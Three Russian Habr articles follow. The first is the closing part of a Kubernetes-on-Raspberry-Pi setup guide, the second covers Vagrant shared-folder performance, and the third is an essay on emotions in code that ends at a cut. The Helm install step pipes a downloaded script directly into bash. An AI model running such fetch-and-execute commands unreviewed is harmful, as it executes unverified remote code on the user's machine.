В первую очередь нам понадобится **Helm**. Конечно, можно все делать и без него, но Helm позволяет буквально без правки файлов настраивать некоторые компоненты по своему усмотрению. И по факту это просто бинарный файл, который «хлеба не просит».
Итак, заходим на [helm.sh](https://helm.sh/) в раздел docs/installation и выполняем команду оттуда:
```
curl -s https://raw.githubusercontent.com/helm/helm/master/scripts/get-helm-3 | bash
```
После этого добавляем репозитории чартов:
```
helm repo add prometheus-community https://prometheus-community.github.io/helm-charts
helm repo add grafana https://grafana.github.io/helm-charts
helm repo add infobloxopen https://infobloxopen.github.io/cert-manager/
```
Теперь установим инфраструктурные компоненты в соответствии с задумкой:
* Ingress controller;
* Prometheus;
* Grafana;
* cert-manager.
### Ingress controller
Первый компонент — **Ingress controller** — устанавливается довольно просто и готов к использованию «из коробки». Для этого достаточно зайти в [раздел bare-metal на сайте](https://kubernetes.github.io/ingress-nginx/deploy/#bare-metal) и выполнить команду установки оттуда:
```
kubectl apply -f https://raw.githubusercontent.com/kubernetes/ingress-nginx/controller-v0.34.1/deploy/static/provider/baremetal/deploy.yaml
```
Однако в этот момент «малина» начала напрягаться и упираться в дисковый IOPS. Дело в том, что вместе с Ingress-контроллером устанавливается большое количество ресурсов, выполняется много запросов к API и, соответственно, много данных записывается в etcd. В общем, либо карта памяти 10 класса не очень производительна, либо SD-карты в принципе не хватает для такой нагрузки. Тем не менее, через минут 5 все запустилось.
Был создан namespace и в нем появился контроллер и всё ему необходимое:
```
root@pi-control:~# kubectl -n ingress-nginx get pod
NAME READY STATUS RESTARTS AGE
ingress-nginx-admission-create-2hwdx 0/1 Completed 0 31s
ingress-nginx-admission-patch-cp55c 0/1 Completed 0 31s
ingress-nginx-controller-7fd7d8df56-68qp5 1/1 Running 0 48s
```
### Prometheus
Следующие два компонента довольно просто установить через Helm из chart repo.
Для **Prometheus** создаем namespace и устанавливаем в него:
```
kubectl create ns monitoring
helm install prometheus --namespace monitoring stable/prometheus --set server.ingress.enabled=True --set server.ingress.hosts={"prometheus.home.pi"}
```
По умолчанию Prometheus заказывает 2 диска: под данные самого Prometheus и под данные AlertManager. Поскольку в кластере не создан storage class, диски не закажутся и pod'ы не запустятся. Для bare metal-инсталляций Kubernetes мы обычно используем Ceph rbd, однако в случае с Raspberry Pi это явный перебор.
Поэтому создадим простой local storage на hostpath. Манифесты PV (persistent volume) для prometheus-server и prometheus-alertmanager объединены в файле `prometheus-pv.yaml` в [Git-репозитории с примерами для статьи](https://github.com/flant/examples/tree/master/2020/08-k8s-raspberry-pi). Директорию для PV необходимо *заранее* создать на диске того узла, к которому хотим привязать Prometheus: в примере прописан `nodeAffinity` по hostname `pi-worker` и на нем созданы директории `/data/localstorage/prometheus-server` и `/data/localstorage/prometheus-alertmanager`.
Скачиваем (клонируем) манифест и добавляем в Kubernetes:
```
kubectl create -f prometheus-pv.yaml
```
На этом этапе я впервые столкнулся с проблемой ARM-архитектуры. Kube-state-metrics, который по умолчанию устанавливается в чарте Prometheus, отказался запускаться. Он выдавал ошибку:
```
root@pi-control:~# kubectl -n monitoring logs prometheus-kube-state-metrics-c65b87574-l66d8
standard_init_linux.go:207: exec user process caused "exec format error"
```
Дело в том, что для kube-state-metrics используется образ проекта CoreOS, который не собирают под ARM:
```
kubectl -n monitoring get deployments.apps prometheus-kube-state-metrics -o=jsonpath={.spec.template.spec.containers[].image}
quay.io/coreos/kube-state-metrics:v1.9.7
```
Пришлось слегка погуглить и найти, например, [вот этот образ](https://hub.docker.com/r/carlosedp/kube-state-metrics/tags). Чтобы им воспользоваться, обновим релиз, указав, какой образ использовать для kube-state-metrics:
```
helm upgrade prometheus --namespace monitoring stable/prometheus --set server.ingress.enabled=True --set server.ingress.hosts={"prometheus.home.pi"} --set kube-state-metrics.image.repository=carlosedp/kube-state-metrics --set kube-state-metrics.image.tag=v1.9.6
```
Проверяем, что все запустилось:
```
root@pi-control:~# kubectl -n monitoring get po
NAME READY STATUS RESTARTS AGE
prometheus-alertmanager-df65d99d4-6d27g 2/2 Running 0 5m56s
prometheus-kube-state-metrics-5dc5fd89c6-ztmqr 1/1 Running 0 5m56s
prometheus-node-exporter-49zll 1/1 Running 0 5m51s
prometheus-node-exporter-vwl44 1/1 Running 0 4m20s
prometheus-pushgateway-c547cfc87-k28qx 1/1 Running 0 5m56s
prometheus-server-85666fd794-z9qnc 2/2 Running 0 4m52s
```
### Grafana и cert-manager
Для графиков и dashboard'ов ставим **Grafana**:
```
helm install grafana --namespace monitoring stable/grafana --set ingress.enabled=true --set ingress.hosts={"grafana.home.pi"}
```
В конце вывода нам покажут, как получить пароль для доступа:
```
kubectl get secret --namespace monitoring grafana -o jsonpath="{.data.admin-password}" | base64 --decode ; echo
```
Для заказа сертификатов установим **cert-manager**. Для его установки обратимся к [документации](https://cert-manager.io/docs/installation/kubernetes/), которая предлагает соответствующие команды для Helm:
```
helm repo add jetstack https://charts.jetstack.io
helm install \
cert-manager jetstack/cert-manager \
--namespace cert-manager \
--version v0.16.0 \
--set installCRDs=true
```
Для самоподписанных сертификатов в домашнем использовании этого вполне достаточно. Если же нужно получать тот же **Let's Encrypt**, то необходимо настроить еще cluster issuer. Подробности об этом можно найти в нашей статье «[SSL-сертификаты от Let's Encrypt с cert-manager в Kubernetes](https://habr.com/ru/company/flant/blog/496936/)».
Сам я остановился на варианте из [примера в документации](https://cert-manager.io/docs/configuration/acme/#creating-a-basic-acme-issuer), решив, что staging-варианта LE будет достаточно. Изменяем в примере e-mail, сохраняем в файл и добавляем в кластер ([cert-manager-cluster-issuer.yaml](https://github.com/flant/examples/blob/master/2020/08-k8s-raspberry-pi/cert-manager-cluster-issuer.yaml)):
```
kubectl create -f cert-manager-cluster-issuer.yaml
```
Теперь можно заказать сертификат, например, для Grafana. Для этого потребуется домен и доступ в кластер извне. Домен у меня есть, а трафик я настроил пробросом портов 80 и 443 на домашнем маршрутизаторе в соответствии с созданным сервисом ingress-controller'a:
```
kubectl -n ingress-nginx get svc
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
ingress-nginx-controller NodePort 10.2.206.61 80:31303/TCP,443:30498/TCP 23d
```
80-й порт в данном случае транслируется в 31303, а 443 — в 30498. *(Порты генерируются случайным образом, поэтому у вас они будут другие.)*
Вот пример сертификата ([cert-manager-grafana-certificate.yaml](https://github.com/flant/examples/blob/master/2020/08-k8s-raspberry-pi/cert-manager-grafana-certificate.yaml)):
```
apiVersion: cert-manager.io/v1alpha2
kind: Certificate
metadata:
name: grafana
namespace: monitoring
spec:
dnsNames:
- grafana.home.pi
secretName: grafana-tls
issuerRef:
kind: ClusterIssuer
name: letsencrypt-staging
```
Добавляем его в кластер:
```
kubectl create -f cert-manager-grafana-certificate.yaml
```
После этого появится ресурс Ingress, через который будет происходить валидация Let's Encrypt'ом:
```
root@pi-control:~# kubectl -n monitoring get ing
NAME CLASS HOSTS ADDRESS PORTS AGE
cm-acme-http-solver-rkf8l grafana.home.pi 192.168.88.31 80 72s
grafana grafana.home.pi 192.168.88.31 80 6d17h
prometheus-server prometheus.home.pi 192.168.88.31 80 8d
```
После того, как валидация пройдет, мы увидим, что ресурс `certificate` готов, а в указанном выше секрете `grafana-tls` — сертификат и ключ. Можно сразу проверить, кто выпустил сертификат:
```
root@pi-control:~# kubectl -n monitoring get certificate
NAME READY SECRET AGE
grafana True grafana-tls 13m
root@pi-control:~# kubectl -n monitoring get secrets grafana-tls -ojsonpath="{.data['tls\.crt']}" | base64 -d | openssl x509 -issuer -noout
issuer=CN = Fake LE Intermediate X1
```
Вернемся к Grafana. Нам потребуется немного исправить её Helm-релиз, изменив настройки для TLS в соответствии с созданным сертификатом.
Для этого скачиваем чарт, правим и обновляем из локальной директории:
```
helm pull --untar stable/grafana
```
Редактируем в файле `grafana/values.yaml` параметры TLS:
```
tls:
- secretName: grafana-tls
hosts:
- grafana.home.pi
```
Здесь же можно сразу настроить установленный Prometheus в качестве `datasource`:
```
datasources:
datasources.yaml:
apiVersion: 1
datasources:
- name: Prometheus
type: prometheus
url: http://prometheus-server:80
access: proxy
isDefault: true
```
Теперь из локальной директории обновляем чарт Grafana:
```
helm upgrade grafana --namespace monitoring ./grafana --set ingress.enabled=true --set ingress.hosts={"grafana.home.pi"}
```
Проверяем, что в Ingress `grafana` добавился 443 порт и есть доступ по HTTPS:
```
root@pi-control:~# kubectl -n monitoring get ing grafana
NAME CLASS HOSTS ADDRESS PORTS AGE
grafana grafana.home.pi 192.168.88.31 80, 443 63m
root@pi-control:~# curl -kI https://grafana.home.pi
HTTP/2 302
server: nginx/1.19.1
date: Tue, 28 Jul 2020 19:01:31 GMT
content-type: text/html; charset=utf-8
cache-control: no-cache
expires: -1
location: /login
pragma: no-cache
set-cookie: redirect\_to=%2F; Path=/; HttpOnly; SameSite=Lax
x-frame-options: deny
strict-transport-security: max-age=15724800; includeSubDomains
```
Для демонстрации Grafana в действии можно скачать и добавить [dashboard для kube-state-metrics](https://grafana.com/grafana/dashboards/747). Вот как это выглядит:
Еще рекомендую добавить dashboard для node exporter: он детально покажет, что происходит с «малинами» (нагрузка CPU, использование памяти, сети, диска и т.д.).
После этого считаю, что **кластер готов принимать и запускать приложения!**
Примечание про сборку
---------------------
Для сборки приложений под ARM-архитектуру есть как минимум два варианта. Во-первых, можно собирать на ARM-устройстве. Однако, посмотрев на текущую утилизацию двух Raspberry Pi, я понял, что еще и сборку они не выдержат. Поэтому заказал себе новую Raspberry Pi 4 (она помощнее и в ней есть аж 4 GB памяти) — планирую собирать на ней.
Второй вариант — сборка мультиархитектурного образа Docker на более мощной машине. Для этого есть [расширение docker buildx](https://docs.docker.com/buildx/working-with-buildx/). Если приложение на компилируемом языке, то потребуется кросс-компиляция для ARM. Описывать все настройки для такого пути не буду, т.к. это потянет на отдельную статью. При реализации такого подхода можно добиться «универсальных» образов: Docker, запущенный на ARM-машине, сам будет автоматически загружать соответствующий архитектуре образ.
Заключение
----------
Проведенный эксперимент превзошел все мои ожидания: [как минимум] «ванильный» Kubernetes с необходимой базой неплохо себя чувствует на ARM, а при его конфигурации возникла лишь пара нюансов.
Сами Raspberry Pi 3B+ держат нагрузку на CPU, однако их SD-карты — явное бутылочное горлышко. Коллеги подсказали, что в каких-то версиях есть возможность загружаться с USB, куда можно подключить SSD: тогда скорее всего ситуация станет получше.
Вот пример загрузки CPU при установке Grafana:
Для экспериментов и «на попробовать», на мой взгляд, Kubernetes-кластер на «малинах» гораздо лучше передаёт ощущения от эксплуатации, чем тот же самый Minikube, потому что все компоненты кластера и устанавливаются, и работают «по-взрослому».
В перспективе есть идея добавить к кластеру весь цикл CI/CD, реализованный полностью на Raspberry Pi. А также я буду рад, если кто-то поделится своим опытом по настройке K8s на AWS Graviton'ах.
P.S. Да, «production» может быть ближе, чем я думал:
P.P.S.
------
Читайте также в нашем блоге:
* «[Приключения с домашним Kubernetes-кластером](https://habr.com/ru/company/flant/blog/435526/)». | https://habr.com/ru/post/513908/ | null | ru | null |
# Производительность shared-папок в Vagrant
Руководя крупной и регулярно пополняющейся командой программистов, столкнулся с необходимостью быстро разворачивать среду разработки без танцев с бубном в духе «странно, у меня этот же код работает, а у тебя какая версия такой-то библиотеки?»
Получив однажды ссылку от заказчика на [Vagrant](https://www.vagrantup.com/) с вопросом «а почему мы это сих пор это не используем?» принялся осваивать это чудо.
Спустя некоторое время подготовил Vagrantfile, за считанные минуты разворачивающий сложную систему репозиториев, библиотек, серверов и деплоеров. И все бы хорошо, но одна маленькая неприятная деталь — все это либо жутко тормозило/глючило, либо (при локальном выполнении) не обеспечивало прямого доступа к хранящимся внутри vagrant репозиториям.
Многие скажут, а зачем нужен этот прямой доступ, если можно хранить копии файлов на host машине и доставлять их на guest машину автоматически, при сохранении их в IDE.
Все верно, но есть нюанс — команде нужна возможность переключать ветви (branches) git репозиториев на сервере, наблюдать результат в браузере и редактировать код ветвей у себя в IDE не отходя от кассы.
Многие скажут, а в чем проблема, есть же ssh и консольный git и даже покажут маньяка, который вбивает команды консольного git клиента с клавиатуры быстрее, чем клиент успевает их выполнять. Можно согласиться и с этим утверждением, но имея 10 репозиториев и несколько десятков ветвей на репозиторий, я предпочитаю наблюдать и управлять всем этим визуально, через SourceTree, и иметь практически любую команду по управлению этой махиной, в досягаемости трех кликов.
Перепробовано.
1. Shared Folders — скорость отработки скриптов оказалась в 10 раз меньше чем при выполнении с guest папок
2. SSHFS
* постоянные реиндексирования в phpStorm
* выпадание всех файлов из git index при переключении ветвей, с необходимостью постоянно делать reset --hard
* неспособность IDE и git клиентов заметить происшедшие изменения в файлах
3. NFS и NFS Reverse — тупо отказались работать на OSX без плясок с бубном (по отзывам в интернете, тоже не решают вопрос фундаментально)
Через несколько дней (недель?) потраченных на изучение этого вопроса, выяснилось, что в своих чаяниях я далеко не одинок, но ничего умнее односторонней синхронизации через rsync, на сегодняшний день общественность толком не видела.
Самое близкое, что удалось нащупать — это утилита unison, осуществляющая двухстороннюю инкрементарную синхронизацию, и написанный под нее vagrant plugin — [github.com/mrdavidlaing/vagrant-unison](https://github.com/mrdavidlaing/vagrant-unison)
Правда возникла другая проблема. Утилита сама по себе, автоматически синхронизировать папки может лишь в режиме ежесекундного перезапуска, который не поддерживался vagrant плагином. Плагин может обеспечить автоматическую синхронизацию, даже не в repeat, а в event-based режиме, но лишь в одну сторону (host->guest). Более того, плагин писался под версию vagrant 1.1, и на сегодняшний день, не выполнял даже те функции, которые в нем официально заявлены.
Чуть позже выяснилось, несмотря на то, что плагин не обновлялся автором с 26 апреля 2013, 7 месяцев назад другой программист предпринял попытку привести плагин в чувство. Результаты его работы можно наблюдать по адресу: [github.com/edtoon/vagrant-unison](https://github.com/edtoon/vagrant-unison)
Даже его плагин, на последний vagrant (1.7.x) устанавливаться отказывается. Доработав его код мне удалось добиться
1. совместимости с 1.7.x;
2. поддержки repeat режима;
3. возможности решать конфликт базы даных unison после «vagrant destroy; vagrant up» командой sync-cleanup.
Результат представляю вашему вниманию по адресу: [github.com/dmatora/vagrant-unison](https://github.com/dmatora/vagrant-unison)
Готовый плагин: [www.dropbox.com/s/1yu1s7pr3qlr8ag/vagrant-unison-0.0.15.gem](https://www.dropbox.com/s/1yu1s7pr3qlr8ag/vagrant-unison-0.0.15.gem) — для установки через
```
vagrant plugin install vagrant-unison-0.0.15.gem
```
Пользуюсь уже несколько дней и до сих пор щипаю себя, чтобы убедиться, что отсутствие тормозов и глюков мне не снятся.
Правда, по слухам, для комфортной работы нужен 4 ядерный процессор (и желателен SSD + Parallels)
P.S. В связи с появившимися комментариями, прикрепляю иллюстрацию из статьи
[Vagrant — NFS shared folders for Mac/Linux hosts, Samba shares for Windows](http://www.midwesternmac.com/blogs/jeff-geerling/vagrant-nfs-shared-folders)
P.S. Не смотря на то что мой fork привлек внимание (в основном буржунета) и до сих пор живет своей жизнью, вынужден заявить что на данный момент я все-же пользуюсь nfs\_guest. Я пытался воспользоваться им перед unison, но на моем OSX он тихо отказывался работать, пока я не выяснил, что для работы nfs на OSX необходимо иметь запись localhost в /etc/hosts. nfs к сожалению не сообщает приложениям о событиях в файловой системе, но на фоне проблем с синхронизацией и нагрузкой на процессор, это терпимо. Невыносимые моргания SourceTree, как выяснилось, можно отключить в настройках (Refresh automaticly when files change) | https://habr.com/ru/post/248019/ | null | ru | null |
# Эмоциональный код
Я зарабатываю программированием с 1979 года, и большую часть этого времени мне приходится работать с чужим кодом. Поначалу было: "Добавьте эту маленькую функцию к тому, что у нас уже есть". Теперь — "как мы можем стать лучше" и " стоит ли сохранять данный код?". Прочтение кода всегда было огромной составляющей в моей работе, и по этой причине для меня очень важно, какой код пишу я (и люди, с которыми работаю). Конечно, хочется, чтобы он был быстрым — в конце концов, я программист на C++. Кроме того, он должен быть корректным. Но есть нечто большее, помимо этих двух вещей: я хочу, чтобы код был читабельным, понятным, разумным и даже приятным.
Я приложила много усилий, чтобы изучить код и понять, как он может быть лучше. Часто я рекомендую улучшить его, используя для этого — ключевые слова языка, функциональность библиотек и т.д. — то, что мы добавили в C++ в этом веке или даже в этом десятилетии. Я показываю людям, как писать код, который работает так же, но при этом он яснее, короче, транспарентнее или лучше инкапсулирован. До недавних пор я не тратила много времени на размышления о том, почему люди писали код так, а не иначе, даже если в то время можно было сделать что-то явно эффективнее. Я просто улучшила код.
В этой статье я хочу поговорить о факторе *«почему»* и о людях, которые пишут код, который вы читаете и поддерживаете.
**Что такое эмоции?**
Поскольку я упомянула эмоции в заголовке, вероятно, будет неплохо обсудить, что это такое. Я считаю эмоции *внеполосными прерываниями*. Эмоции позволяют сделать вывод без четкого перечисления всех подтверждающих доказательств. Например, вы идете по улице, или ведете переговоры о покупке машины, идете на свидание, и вдруг ваш мозг сообщает вам что-то вроде:
* Убирайся!
* Доверься этому человеку.
* Улыбнись, расслабься, все в порядке.
* Ругайтесь, орите, бейте и кричите!
Эти реакции могут быть правильными — возможно, вы разговариваете с замечательным человеком, которому можно доверять, — или неправильными — торговый представитель может пытаться польстить вам, чтобы вы заплатили слишком много за машину. Но дело в том, что в момент получения сообщения у вас нет четкого списка причин для того, чтобы именно так себя чувствовать. Ваш мозг провел сопоставление шаблонов и сделал вывод. Вы можете действовать в соответствии с ним или нет.
Некоторым людям не нравится, когда другие предпринимают действия, основанные на эмоциях. Если вы разозлитесь и выйдете из ситуации, то, возможно, не сможете объяснить точные детали, которые подтолкнули вас к такому выводу. Вероятно, не сможете доказать, что ваш уход был правильным. Мне говорили, что принятие решений на основе эмоциональных реакций — это лень, несерьезность или срезание углов.
**Никаких эмоций не допускается**
Люди, считающие, что эмоциональные реакции неуместны, особенно часто встречаются в сфере разработки программного обеспечения. Они блокируют деструктивные внеполосные прерывания, которыми являются эмоции. Настаивают на том, что в спорах нужно побеждать, применяя логику, а не с помощью сильных чувств. Только кристально чистая логика единиц и нулей матрицы. Многие действительно так считают и пытаются подавить эмоции в себе и других.
В определенной степени они правы. Если мы спорим о том, сколько параметров принимает функция, я не хочу слышать, что вы *считаете* пять правильным числом: "Мне просто нравится, когда это так". Я хочу, чтобы вы убедили меня с помощью логики. Но во многих случаях быстрое общее заключение, которое делается с помощью эмоций, очень полезно - не для победы в споре, а для выполнения моей работы. Я смотрю на API, на целую коллекцию функций, всех их параметров, и что-то во мне говорит: "ФФФУ-У-У-У". Не знаю, в чем именно проблема, но меня тянет взглянуть на нее поближе и разобраться, что с рациональной точки зрения я думаю об этой части кода. Я не собираюсь говорить: "Заплатите мне, чтобы перестроить всю вашу систему, потому что она кажется мне отвратительной и неправильной", но эта первая эмоциональная реакция имела большую ценность, привлекая меня к тому месту, которое требует внимания. Я научилась высоко ценить такие сигналы.
Но не все так делают. Когда я говорю: "Не знаю, что конкретно мне не нравится в этом API на данный момент; с первого взгляда, моя интуиция чувствует проблему, и уверена, что на это нужно обратить внимание, поэтому сегодня во второй половине дня подготовлю вам краткий отчет", они могут отвергнуть это, потому что здесь не о чем будет спорить, они должны просто довериться мне. Они могут не принять такое предложение, посчитав, что я веду себя как-то непонятно или эмоционально, вместо того чтобы использовать свой опыт. (Это странно, потому что эмоциональные и интуитивные реакции на ситуации — это именно то, как ваш опыт обычно проявляет себя). Возможно, они просто имеют привычку говорить другим людям, что не стоит испытывать эмоции: не стоит сильно радоваться чему-то или сильно расстраиваться. У нас есть целый юмористический штамм на этот счет: "Ох, уж эта человечность" и другие мемы, где людей высмеивают за то, что они расстраиваются из-за пустяков или потому, что иногда слишком счастливы.
| |
| --- |
| Эмоциональные и интуитивные реакции на ситуации — это то, как обычно проявляет себя ваш опыт. |
Насмехаться над людьми за их "проблемы первого мира" или отвечать "о, человечность..", когда они на взводе, — это наш способ навязать социальную норму в сообществе программистов, особенно в тех из них, которые уходят корнями в 20-й век, а не в 21-й. Социальная норма гласит: "Не демонстрируй мне эмоции", а в идеале — вообще не испытывай эмоций. Но вот в чем дело: программисты — это люди, и у них есть эмоции. Поэтому, нравится вам это или нет, у программистов есть эмоции.
В действительности эмоции — это *существенная* часть разработки программного обеспечения. Это нечто большее, чем просто написание и отладка кода. Не связанные с кодом части этой работы полны эмоций: убедить пользователей говорить о том, что они хотят, а не о том, что они думают, доверять своей команде, говорить правду о своих возможностях и пожеланиях, быть достаточно смелым, чтобы идти против течения, когда это необходимо, сохранять свою целостность и достоинства, когда вы оказались в среде, которая их не разделяет, и многое другое.
Сегодня я хочу сосредоточиться на одном мифе, который мы рассказываем себе: В коде нет эмоций. Что нет никаких противоречивых чувств, когда дело доходит до написания кода, потому что код полностью логичен.
**Ваш код показывает эмоции**
На самом деле, код полон эмоций, которые можно прочесть прямо на странице. Большинство может мне не поверить. Позвольте мне показать вам несколько примеров.
**Страх**
Если задаться вопросом, почему люди поступают так или иначе, можно получить несколько интересных ответов. Возьмем в качестве примера закомментированный код. Вряд ли вы найдете кого-то, кому это нравится. Мы рассуждаем о том, что существует контроль исходных текстов; люди могут делать рабочие заметки и вставлять туда удаленные материалы, чтобы использовать их позже; это только запутывает, когда вы потом перечитываете, мешает поиску, и так далее. Но люди продолжают так делать. Почему? Потому что они боятся. "Я могу сделать что-то не так; это может понадобиться мне позже".
Вот пример из реального кода, найденный в середине длинной функции.
```
//if (m_nCurrentX != g_nCurrentX
// || m_nCurrentABC != g_nCurrentABC) {
//}
```
Здесь хитромудрое "if", сравнивающее значения переменных-членов вещей с некоторыми глобальными значениями под похожими именами. Очевидно, в этом больше нет необходимости, но все-таки разработчик не может заставить себя отбросить его. Они не уверены, что смогут вернуть его обратно, когда он понадобится. Они испытывают робость и страх перед этой кодовой базой и последствиями того, что не смогут найти потом то, что им нужно.
Еще одна разочаровывающая категория комментариев: "не вините меня". Разработчик боится, что другой программист или менеджер не одобрит такое, и поэтому оставляет комментарий, объясняющий, что это не его выбор, а кто-то сказал ему сделать изменение. Например:
```
limit = InputLimit - 1; //as per Bill
```
Разработчик не определился с тем, как рассчитать лимит, не готов подтвердить этот расчет, говорит вам: "Эй, если у вас возникнут проблемы с данной строкой кода, не обращайтесь ко мне, идите и найдите Билла, это была его идея". И дело не только в том, что они не уверены, как рассчитать ограничение, но и в том, что они боятся, что кто-то будет возражать против такой строки, и поэтому заранее стремятся защитить себя от враждебных отзывов. По какой-то причине окружающая среда привела к тому, что не позволяет людям чувствовать себя уверенно даже в самых простых расчетах.
Страх также является причиной того, что люди не удаляют переменные, которые они даже не используют. Они оставляют в коде строки, которые вычисляют то, что потом никогда не применяется. Функции, которые никогда не вызываются. Переменные-члены, которые никогда не задаются и не используются. "Как я могу быть уверен, что нам это не понадобится?" — прямо говорит разработчик. Либо они знают, что это им не понадобится, но все равно не тратят время на очистку. У них нет на это времени. Их ждут "неприятности" за недостаточно быстрое выполнение работы, а удаление кода, который "никому не навредит", просто не входит в список приоритетов. Да, возможно, в будущем кто-нибудь слегка затормозится, пытаясь выяснить, что происходит, но сейчас этому разработчику нужно уложиться в срок или попытаться избежать увольнения, и поэтому позади себя он оставляет старый ненужный хлам.
Требуется смелость, чтобы отступить от шаблонов в существующем коде, даже если они неправильные. Почти в каждой кодовой базе C++, с которой встречаюсь, я вижу вещи, подобные следующему примеру:
```
int c, n;
int r1, r2, r3, r4;
double factor;
double pct1, pct2, pct3, v1, v2, v3, v4, v5;
double d1, d2, d3;
```
Здесь так много неправильного! Ни одна из этих переменных не инициализируется. Ни одна из них не объявляется рядом с местом, где они используются. А имена! Можно догадаться, что такое factor, но что означает `r`? Я почти уверена: `v` означает "значение", а `d` — "дубль". В этих именах вообще нет никакой информации. Но напуганный разработчик, беспокоящийся о том, что скажут рецензенты, боится, что вносит ошибки в рабочий код, возится с ним и просто добавляет `d4` в конец списка, будучи уверенным, что сейчас для него это самое безопасное решение.
Кроме того, мне попадается код, который проверяет условия, которые не нуждаются в этом. Вот пример на C++:
```
if (pPolicy)
{
delete pPolicy;
}
```
При удалении нулевого указателя ничего не происходит. Это безобидно. В данной проверке нет необходимости, но мне постоянно приходится сталкиваться с этим. (Если бы указатель был установлен в `null` после удаления, или что-либо еще было сделано внутри этих фигурных скобок, тогда все было бы нормально, но здесь ничего такого не делается). Мне также, вероятно, интересно, почему вы выполняете ручное управление памятью, но сейчас не обращайте на это внимания и сосредоточьтесь на мышлении человека, который продолжает проверять вещи "на всякий случай", того, кто платит производительностью во время рантайма при каждом запуске приложения, потому что чувствует себя нерешительно и неуверенно. Боится.
Предположим, что в процессе обучения и проведения ревью кода люди узнают, что `delete` по `null` указателю — это бесполезное действие. Но что делать, если разработчик переживает, что коллеги подведут его? Они многократно проверяют одни и те же ситуации, потому что не могут быть уверены, что условия всегда выполняются. "Это было в коде коллеги, его могли изменить, не сказав мне". Вот то место, где тщательный набор тестов и их выполнение после каждого изменения может улучшить производительность во время рантайма. Если уверенно писать код, зная, что вы получаете валидные параметры из других частей приложения, подумайте, сколько проверок во время рантайма (убедитесь, что `x` положительно, а `y` не превышает лимит, и так далее) можно исключить!
Иногда страх также является причиной того, что разработчик делает все вручную, а не пользуется библиотекой. Однажды библиотека навредила ему, и теперь нужно ее исследовать, шаг за шагом, увидеть, как она работает. Они не станут доверять чужому коду и готовы потратить больше времени на то, чтобы написать его самостоятельно, либо написать код, в котором потенциально могут будут допущены некоторые крайности и тупиковые ситуации, все из-за страха перед тем, что может сделать неизвестный библиотечный код.
**Высокомерие и гнев**
Раннее здесь демонстрировался фрагмент кода с именами переменных `r1` и `v2`. Когда я спросила разработчика, что они означают, то получила ответ: "Разве вы не достаточно умны, чтобы догадаться об этом?". Если я обращаюсь к людям с просьбой объяснить имена `obscure` функций, ответы звучат примерно так: "Почему я должен общаться с людьми, которые не в состоянии понять это без объяснений?". Это видно на примере таких заведомо непонятных имен, как `f()`, `foo` и `bar`. Если отбросить мрачный юмор в отношении их происхождения, то foo и bar означают: "У этого нет имени, оно не нуждается в названии, и ваше желание, чтобы наименование появилось, является неправильным". Я думаю, что это ужасная вещь — оставлять после себя нечто в коде, чтобы другие такое потом вычитывали.
Так может происходить от высокомерия, от убеждения, что вы лучше других и они не заслуживают объяснений, или от нежелания потратить время на их предоставление. Это также может происходить из-за того, что вас что-то злит, и это проявляется при написании кода.
Иногда такое: "Я лучше, чем кто-либо другой", — побуждает разработчиков использовать неструктурированные циклы, а не что-то из библиотеки, писать свои собственные контейнеры и так далее. Возможно, они столкнулись с проблемой производительности десяток или пару лет назад в одной популярной библиотеке и решили, что они всегда будут лучше, чем авторы. Хотя "это не хвастовство, если вы можете это сделать", немногие разработчики могут действительно превзойти тех, кто сосредоточен на работе с определенной библиотекой круглые сутки. Возможно, они измеряли производительность своего решения, созданного вручную с использованием нестандартных данных, в сравнении с библиотечным решением, а, может и не делали этого… Стоит проверить.
Вы удивитесь (я больше не удивляюсь), как часто встречаются насмешливые комментарии и имена в живом коде. Люди, которые говорят lusers, PEBCAK и RTFM в электронных письмах и Slack, делают это и в своем коде. Они также повторяют это в своих коммитах: April Wensel обнаружила кучу совпадений по запросу "stupid user" в комментариях к коммитам на GitHub. Очевидно, что эти комментарии являются публичными (она их нашла). Как вы думаете, что почувствовали бы пользователи, обнаружив в коммите сообщение, которое содержало бы не что иное, как "Будьте добрее к глупому пользователю", когда узнавали о продукте, который они использовали? И, кстати, этому коммитеру самому нужно постараться "быть добрее", потому что такой комментарий демонстрирует явный недостаток доброжелательности. Steve Miller ищет в исполняемых файлах нецензурные слова: в хакерском ПО их оказалось гораздо больше.
| |
| --- |
| У вредоносных программ больше бранных слов в коде, чем у обычных. |
Мне также приходилось видеть имена функций и переменных, от которых веет пренебрежением и презрением к выполняемой работе. Речь не идет о том, что переменную называют "пустышкой". Здесь подразумевается такая вещь, как вставка имени коллеги в функцию, чтобы продемонстрировать ему, что он не прав. Однажды я столкнулась с нечто под названием `UndoStevesNonsense()`. Только это был не Steve и не ерунда; скорее более грубое выражение несогласия. Очевидно, Стив написал код, в котором выполнялись действия, которых, по мнению этого разработчика, не должно было быть; поэтому, вместо того, чтобы решать проблему совместно или обратиться к руководству, он просто их отменил и назвал функцию соответствующим образом. Опять же, если для вас важна производительность во время рантайма, мысль о том, что один разработчик выполняет шаги A, B и C (занимающие время при каждом запуске), а другой затем все переворачивает и организует их отмену, приводит в ужас. Но сегодня такое действительно происходит в реальности.
**Эгоизм**
Страх, высокомерие и гнев не объясняют всего плохого кода. Еще одна огромная группа разработчиков — эгоисты. Они не тратят время на очистку, рефакторинг, перегруппировку или переименование по ходу работы. Вы можете услышать, как они спрашивают: "Почему я должен тратить свое время на то, чтобы облегчить вам работу?". Представьте, что вам дали час на то, чтобы что-то исправить. Вы справляетесь за 50 минут. Если потратить 20 минут на приведение в порядок, последующие доработки в этой области займут всего полчаса. Результат уже будет достигнут даже после одной корректировки, а после каждой последующей — еще и сверх того. Но если работа в команде оценивается по каждому исправлению, возможно, кто-то другой сэкономит эти полчаса, в то время как первоначальный разработчик будет наказан за лишние 20 минут. Поэтому неудивительно, что эти 20 минут не востребованы.
Эгоистичный код имеет короткие и нечеткие имена, потому что разработчик не потрудился придумать лучше. В нем используются магические числа вместо констант с именами. Везде есть побочные эффекты и последствия, например, использование публичных переменных, или мутабельного глобального состояния, потому что так быстрее. Конечно, в следующий раз это может быть медленнее, но ведь потом это будет чья-то чужая проблема, верно?
Эгоизм также приводит к присвоению информации себе. “Моя должность на работе в безопасности, до тех пор пока никто другой не сможет сделать так же. Если объяснять это другим, я стану менее ценным, потому что меня можно будет заменить.” (Для меня, как внешнего консультанта, когда я слышу, что кто-то незаменим, обычная реакция - поменять это в первую очередь. Такое поведение не идет на пользу команде и в большинстве случаев не приводит к хорошему коду). Этот разработчик воспринимает своих коллег как конкурентов и не хочет им помогать. Так хорошие команды не работают.
**Лень**
